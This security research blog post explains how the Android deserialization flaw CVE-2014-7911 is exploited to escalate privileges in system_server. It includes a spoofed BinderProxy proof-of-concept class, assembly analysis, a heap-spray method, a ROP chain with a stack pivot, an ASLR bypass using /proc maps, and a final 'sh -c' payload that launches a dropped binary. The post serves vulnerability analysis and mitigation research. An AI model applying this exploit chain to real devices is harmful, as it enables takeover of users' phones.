In this post we discuss CVE-2014-7911 and the various techniques that can be used to achieve privilege escalation. We also examine how some of these techniques can be blocked using several security mechanisms.

The Vulnerability

CVE-2014-7911 was presented here along with a very descriptive POC that was written by Jann Horn. Described briefly, the ObjectInputStream doesn’t validate that the serialized object’s class type, as described in the serialized object, is actually serializable. It creates an instance of the wanted class anyway with the deserialized values of the object. Therefore, one can create object of any class, and control its private variables, by serializing objects from another class, that would be deserialized as data members of the wanted class.

Let’s look at the example below:

The following snippet (copied from the original POC) shows a spoofed BinderProxy instance:

package AAdroid.os; import java.io.Serializable; public class BinderProxy implements Serializable { private static final long serialVersionUID = 0; public long mObject = 0x1337beef; public long mOrgue = 0x1337beef; } 1 2 3 4 5 6 7 8 9 package AAdroid . os ; import java . io . Serializable ; public class BinderProxy implements Serializable { private static final long serialVersionUID = 0 ; public long mObject = 0x1337beef ; public long mOrgue = 0x1337beef ; }

In the POC code that was provided above, an attacker serializes a class named AAdroid.os.BinderProxy and changes its name to android.os.BinderProxy after marshalling it, and before sending it to the system server.

android.os.BinderProxy class isn’t serializable, and it involves native code that handles mObject and mOrgue as pointers.

If it was serializable, then the pointers valued wouldn’t be deserialized, but their dereferenced values would.

The deserialization code in ObjectInputStream deserializes the sent object as an android.os.BinderProxy instance, leading to type confusion.

As mentioned earlier, this type confusion results in the native code reading pointer values from the attacker’s spoofed android.os.BinderProxy, supposedly private fields, which the attacker modified.

Specifically, the field of interest is mOrgue.

The android.os.BinderProxy contains a finalize method that will result in native code invocation. This native code uses mOrgue as a pointer.

This is the finalize method:

protected void finalize() throws Throwable { destroy(); super.finalize(); return; Exception exception; exception; super.finalize(); throw exception; } 1 2 3 4 5 6 7 8 9 protected void finalize ( ) throws Throwable { destroy ( ) ; super . finalize ( ) ; return ; Exception exception ; exception ; super . finalize ( ) ; throw exception ; }

And this is the declaration of destroy:

private final native void destroy(); 1 private final native void destroy ( ) ;

The native destroy function:

static void android_os_BinderProxy_destroy(JNIEnv* env, jobject obj) { IBinder* b = (IBinder*) env->GetIntField(obj, gBinderProxyOffsets.mObject); DeathRecipientList* drl = (DeathRecipientList*) env->GetIntField(obj, gBinderProxyOffsets.mOrgue); LOGDEATH("Destroying BinderProxy %p: binder=%p drl=%p

", obj, b, drl); env->SetIntField(obj, gBinderProxyOffsets.mObject, 0); env->SetIntField(obj, gBinderProxyOffsets.mOrgue, 0); drl->decStrong((void*)javaObjectForIBinder); b->decStrong((void*)javaObjectForIBinder); IPCThreadState::self()->flushCommands(); } 1 2 3 4 5 6 7 8 9 10 11 12 13 static void android_os_BinderProxy_destroy ( JNIEnv* env , jobject obj ) { IBinder* b = ( IBinder* ) env -> GetIntField ( obj , gBinderProxyOffsets . mObject ) ; DeathRecipientList* drl = ( DeathRecipientList* ) env -> GetIntField ( obj , gBinderProxyOffsets . mOrgue ) ; LOGDEATH ( "Destroying BinderProxy %p: binder=%p drl=%p

" , obj , b , drl ) ; env -> SetIntField ( obj , gBinderProxyOffsets . mObject , 0 ) ; env -> SetIntField ( obj , gBinderProxyOffsets . mOrgue , 0 ) ; drl -> decStrong ( ( void * ) javaObjectForIBinder ) ; b -> decStrong ( ( void * ) javaObjectForIBinder ) ; IPCThreadState :: self ( ) -> flushCommands ( ) ; }

Eventually, the native code invokes decStrong

(i.e., in drl->decStrong((void*)javaObjectForIBinder);)

Note that at this point, drl is controlled by an attacker, as evident by the line

DeathRecipientList* drl = (DeathRecipientList*) env->GetIntField(obj, gBinderProxyOffsets.mOrgue); 1 2 DeathRecipientList* drl = ( DeathRecipientList* ) env -> GetIntField ( obj , gBinderProxyOffsets . mOrgue ) ;

So decStrong is going to be called with us controlling ‘this’ pointer.

Let’s take a look on decStrong code from RefBase class source:

void RefBase::decStrong(const void* id) const { weakref_impl* const refs = mRefs; refs->removeStrongRef(id); const int32_t c = android_atomic_dec(&refs->mStrong); #if PRINT_REFS ALOGD("decStrong of %p from %p: cnt=%d

", this, id, c); #endif ALOG_ASSERT(c >= 1, "decStrong() called on %p too many times", refs); if (c == 1) { refs->mBase->onLastStrongRef(id); if ((refs->mFlags&OBJECT_LIFETIME_MASK) == OBJECT_LIFETIME_STRONG) { delete this; } } refs->decWeak(id); } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 void RefBase :: decStrong ( const void * id ) const { weakref_impl* const refs = mRefs ; refs -> removeStrongRef ( id ) ; const int32 _ t c = android_atomic_dec ( & refs -> mStrong ) ; #if PRINT_REFS ALOGD ( "decStrong of %p from %p: cnt=%d

" , this , id , c ) ; #endif ALOG_ASSERT ( c >= 1 , "decStrong() called on %p too many times" , refs ) ; if ( c == 1 ) { refs -> mBase -> onLastStrongRef ( id ) ; if ( ( refs -> mFlags & OBJECT_LIFETIME_MASK ) == OBJECT_LIFETIME_STRONG ) { delete this ; } } refs -> decWeak ( id ) ; }

Note the line refs->mBase->onLastStrongRef(id); These lines will eventually lead to arbitrary code execution.

In the following screenshot of RefBase::decStrong assembly, the attacker controls r0(‘this pointer’)

Exploitation

The first use of the controlled register r0, which contains the ‘this’ pointer (drl) is in these lines:

weakref_impl* const refs = mRefs; refs->removeStrongRef(id); const int32_t c = android_atomic_dec(&refs->mStrong); 1 2 3 weakref_impl* const refs = mRefs ; refs -> removeStrongRef ( id ) ; const int32 _ t c = android_atomic_dec ( & refs -> mStrong ) ;

These lines are translated to the following assembly:

ldr r4, [r0, #4] # attacker controls r4 mov r6, r1 mov r0, r4 blx <android_atomic_dec ()> 1 2 3 4 ldr r4 , [ r0 , #4] # attacker controls r4 mov r6 , r1 mov r0 , r4 blx < android_atomic_dec ( ) >

First, r4 is loaded with the mRefs variable.

ldr r4, [r0, #4] # attacker controls r4 1 ldr r4 , [ r0 , #4] # attacker controls r4

Note that r0 is the ‘this’ pointer of the drl, and mRefs is the first private variable following the virtual function table, hence it is 4 bytes after ‘this’ pointer.

Then, android_atomic_dec is being called with &refs->mStrong

const int32_t c = android_atomic_dec(&refs->mStrong); 1 const int32 _ t c = android_atomic_dec ( & refs -> mStrong ) ;

This is translated to:

mov r0, r4 blx <android_atomic_dec ()> 1 2 mov r0 , r4 blx < android_atomic_dec ( ) >

r0 now contains &refs->mStrong.

Note that the mStrong variable is the first data member of refs (in the class weakref_impl), and that this class contains no virtual functions, hence it does not contain a vtable, so the mStrong variable is at offset 0 of r4.

As one can tell – the line refs->removeStrongRef(id); is not present in the assembly simply because the compiler optimized and omitted it, since it has an empty implementation, as one can see from the following code:

void removeStrongRef(const void* /*id*/) { } 1 void removeStrongRef ( const void * /*id*/ ) { }

Following the call to android_atomic_dec are these lines of code:

if (c == 1) { refs->mBase->onLastStrongRef(id); 1 2 if ( c == 1 ) { refs -> mBase -> onLastStrongRef ( id ) ;

These are translated to the following assembly lines:

cmp r0, #1 bne.n d1ea ldr r0, [r4, #8] mov r1, r6 ldr r3, [r0, #0] ldr r2, [r3, #12] blx r2 1 2 3 4 5 6 7 cmp r0 , #1 bne . n d1ea ldr r0 , [ r4 , #8] mov r1 , r6 ldr r3 , [ r0 , #0] ldr r2 , [ r3 , #12] blx r2

Note that android_atomic_dec returns the value of the specified memory address before the decrement took place. So in order to invoke refs->mBase->onLastStrongRef(id) (blx r2), we must get refs->mStrong to get the value of 1.

As we can see up to now, an attacker has several constraints that he must adhere to if he wishes to gain code execution:

drl (our first controlled pointer, i.e. r0 when entering decStrong) must point to a readable memory location. refs->mStrong must have the value of 1 The dereference chain at the line refs->mBase->onLastStrongRef(id) must succeed and eventually point to an executable address.

In addition, an attacker must overcome the usual obstacles of exploitation – ASLR and DEP.

One can employ basic techniques to fulfill these requirements and overcome the mentioned security mechanisms, including heap spraying, stack pivoting and ROP. Let’s look at these in detail.

Heap spray

An attacker’s first step will be to get a reliable readable address with arbitrary data – most commonly achieved by a heap spray.

The system server provides several core functionalities for the android device, many of which are exposed to applications via various service interfaces.

A common paradigm to invoke a service in the context of the system server is like the following:

LocationManager lm = (LocationManager)getSystemService(LOCATION_SERVICE); 1 LocationManager lm = ( LocationManager ) getSystemService ( LOCATION_SERVICE ) ;

The acquired manager allows us to invoke functionality in the system server on behalf of us, via IPC.

Several services can be used by us for a heap spray, but for the purpose of this blog, we decided to use a heap spray that requires special app permissions, to prevent normal applications from utilizing this technique.

The location manager allows us to register test providers via the function addTestProvider – allowing us to pass an arbitrary name that contains arbitrary data. As we mentioned, one should enable developer options and enable the mock locations option in order to utilize this.

lm.addTestProvider(builder.toString(), false, false, false, false, false, false, false, 1, 1); 1 lm . addTestProvider ( builder . toString ( ) , false , false , false , false , false , false , false , 1 , 1 ) ;

Note that this heap spray does have its limitations – the data is sprayed using the name field, which is Unicode. This imposes a limitation – we are limited to byte sequences which correspond to valid Unicode code points.

Spray addresses manipulation

After spraying the system server process memory address space, we encountered another issue – our chosen static address indeed pointed to readable data on each run, but not to the exact same offset in the spray chunk each time.

We decided to solve this problem by crafting a special spray that contains decreasing pointer values.

Here is an illustration of the sprayed buffer, followed by an explanation of its structure:

STATIC_ADDRESS is the arbitrarily chosen static pointer in mOrgue.

GADGET_BUFFER_OFFSET is the offset of GADGET_BUFFER from the beginning of the spray.

In each run of system server process, the static address we chose points to our controlled data, but with different offsets.

r0 (which always hold the same chosen STATIC_ADDRESS) can fall to any offset in the “Relative Address Chunk”, therefore point to any of the STATIC_ADDRESS + GADGET_BUFFER_OFFSET – 4N addresses, on each time.

Note the following equation:

GADGET_BUFFER = Beginning_of_spray + GADGET_BUFFER_OFFSET

In the case that r0 (=STATIC_ADDRESS) points to the beginning of the spray : STATIC_ADDRESS = Beginning_of_spray.

Hence: GADGET_BUFFER = STATIC_ADDRESS + GADGET_BUFFER_OFFSET

On any other case – r0(=STATIC_ADDRESS) points to an offset inside the spray (the offset is dword aligned):

STATIC_ADDRESS = Beginning_of_spray + 4N

Beginning_of_spray = STATIC_ADDRESS – 4N.

Hence: GADGET_BUFFER = STATIC_ADDRESS + GADGET_BUFFER_OFFSET – 4N



The higher offset in the chunk that r0(=STATIC_ADDRESS) points to, the more we have to subtract to make the expression:

STATIC_ADDRESS + GADGET_BUFFER_OFFSET – 4N points to GADGET_BUFFER.

No matter to which offset in the chunk r0 points to, dereference it would give us the current address of GADGET_BUFFER.

But where do we get if we dereference the other addresses in the chunk?

As farther as we go above r0, the farther the dereference would bring us below GADGET_BUFFER.

Now that we have a valid working spray, let’s go back to analyzing the assembly.

ldr r4, [r0, #4] mov r0, r4 blx <android_atomic_dec ()> cmp r0, #1 1 2 3 4 ldr r4 , [ r0 , #4] mov r0 , r4 blx < android_atomic_dec ( ) > cmp r0 , #1

So to overcome the second constraint – in which refs->mStrong must contain 1

ldr r4, [r0, #4] --> r4=[STATIC_ADDRESS + 4] --> r4 = GADGET_BUFFER-4 1 ldr r4 , [ r0 , #4] --> r4=[STATIC_ADDRESS + 4] --> r4 = GADGET_BUFFER-4

[r4] should contain 1, hence [GADGET_BUFFER – 4] should contains 1.

Now, after atomic_dec return value is indeed 1, we should overcome the other dereferences to get to the blx opcode.

cmp r0, #1 bne.n d1ea r4=GADGET_BUFFER - 4 ldr r0, [r4, #8] r0 = [GADGET_BUFFER - 4 + 8] <-> r0 = [GADGET_BUFFER + 4] mov r1, r6 ldr r3, [r0, #0] r3 = [[GADGET_BUFFER + 4] + 0] <-> r3 = [[GADGET_BUFFER + 4]] 1 2 3 4 5 6 7 8 9 cmp r0 , #1 bne . n d1ea r4 = GADGET_BUFFER - 4 ldr r0 , [ r4 , #8] r0 = [ GADGET_BUFFER - 4 + 8 ] < -> r0 = [ GADGET_BUFFER + 4 ] mov r1 , r6 ldr r3 , [ r0 , #0] r3 = [ [ GADGET_BUFFER + 4 ] + 0 ] < -> r3 = [ [ GADGET_BUFFER + 4 ] ]

Note in order to succeed with this dereference, [GADGET_BUFFER + 4] should contain a KNOWN valid address.

We arbitrarily chose the known address – STATIC_ADDRESS.

ldr r2, [r3, #12] r2 = [GADGET_BUFFER + 12] blx r2 1 2 3 ldr r2 , [ r3 , #12] r2 = [ GADGET_BUFFER + 12 ] blx r2

So now we can build the GADGET_BUFFER as following:

ROP CHAIN

We chose to run the “system” function with a predefined command line.

In order to control the r0 register, and make it point to the command line string, we should use some gadgets that would manipulate the registers.

We got only one function call, so to take control on the execution flow with our gadgets, we should use a stack pivot gadget.

Therefore, the first function pointer is the preparations for the stack pivot gadget:

Where r5 equals to the original r0 (STATIC_ADDRESS) as one can see at the beginning of decStrong.

mov r0,r5 - Restoring r0 to its original value. ldr r7, [r5] r7 = [r5] r7=[STATIC_ADDRESS] r7 = GADGET_BUFFER ldr r2, [r7,#0x54] r2 = [r7 + 0x54] r2 = [GADGET_BUFFER + 84] blx r2 1 2 3 4 5 6 7 8 mov r0 , r5 - Restoring r0 to its original value . ldr r7 , [ r5 ] r7 = [ r5 ] r7 = [ STATIC_ADDRESS ] r7 = GADGET_BUFFER ldr r2 , [ r7 , #0x54] r2 = [ r7 + 0x54 ] r2 = [ GADGET_BUFFER + 84 ] blx r2

Call to the next gadget – which should be 21(=0x54 / 4) dwords from the beginning of GADGET_BUFFER

This gadget does the Stack Pivoting.

SP register points to r7 – therefore the stack is under our control and points to GADGET_BUFFER.

Ret to the next gadget that should be kept 8 dwords from the beginning of GADGET_BUFFER

(Note the pop {r4–r11,pc} instruction, which pops 8 registers off the stack before popping pc).

r0 = [r0 + 0x38] r0 = GADGET_BUFFER - 0x38 (As explained before about the spray) 1 r0 = [ r0 + 0x38 ] r0 = GADGET_BUFFER - 0x38 ( As explained before about the spray )

Now r0 points to 56 (0x38) bytes before GADGET_BUFFER, so we have 52 command line chars, excluding the “1” for atomic_dec.

Ret to the next gadget that should be kept 10 dwords from the beginning of GADGET_BUFFER (2 dwords after the current gadget – pop {r3,pc})

That is the last gadget where we call system!

Here is an updated layout of the memory for this to happen:

Android and ARM

There are two important issues we should keep in mind when choosing the gadgets addresses.

There is an ASLR mechanism on Android, and the addresses wouldn’t be the same on each and every time. In order to know the correct address, we use the fact that both system server process, and our app are forked from the same process – ZYGOTE, meaning we share the same modules. So we get the address of the necessary modules in system server process, by parsing the maps file of our process. ‘maps’ is a file in /proc/<pid>/maps which contains the memory layout and the loaded modules addresses.

On ARM CPU, there are two modes of opcode parsing: ARM (4 bytes per opcode) and THUMB (variable bytes per opcode – 2 or 4). Meaning that the same address pointed by PC, could be parsed differently by the cpu when running in different modes. Parts of the gadgets we use are in the THUMB mode. In order to make the processor change its mode when parsing those gadgets, we change the pointer address from the actual address, to (address & 1) – turning on the LSB, which make the cpu jmp to the correct address with THUMB mode.

PAYLOAD

As described before, we use the “system” function to run our command line. The length of the command line is limited, and actually a command line can’t be used for every purpose. So we decided to use a pre compiled elf, that being written to the file system, as an asset of our app. This elf can do anything with uid 1000 (the uid of system server). The command line we send as an argument to system is simply –

“sh -c ” + file_path

CONCLUSION

Android has some common security mechanisms such as ASLR and DEP which should make an exploitation of vulnerability harder to achieve.

Moreover, every application runs in its own process, so the IPC communication could be validated, and making guesses on memory layout shouldn’t be intuitive. On the other hand, the fact that every process is forked from the same process makes ASLR irrelevant for vulnerabilities within zygote’s sons and the binder connection from every process to system server could lead to heap spray as seen on this post. Those issues appear to be inherent in the Android OS design.

Palo Alto Networks has been researching an Android security solution that based on our lab testing would have blocked this exploit (as well as other exploits) with multiple exploit mitigation modules. We hope to share more details in the coming months.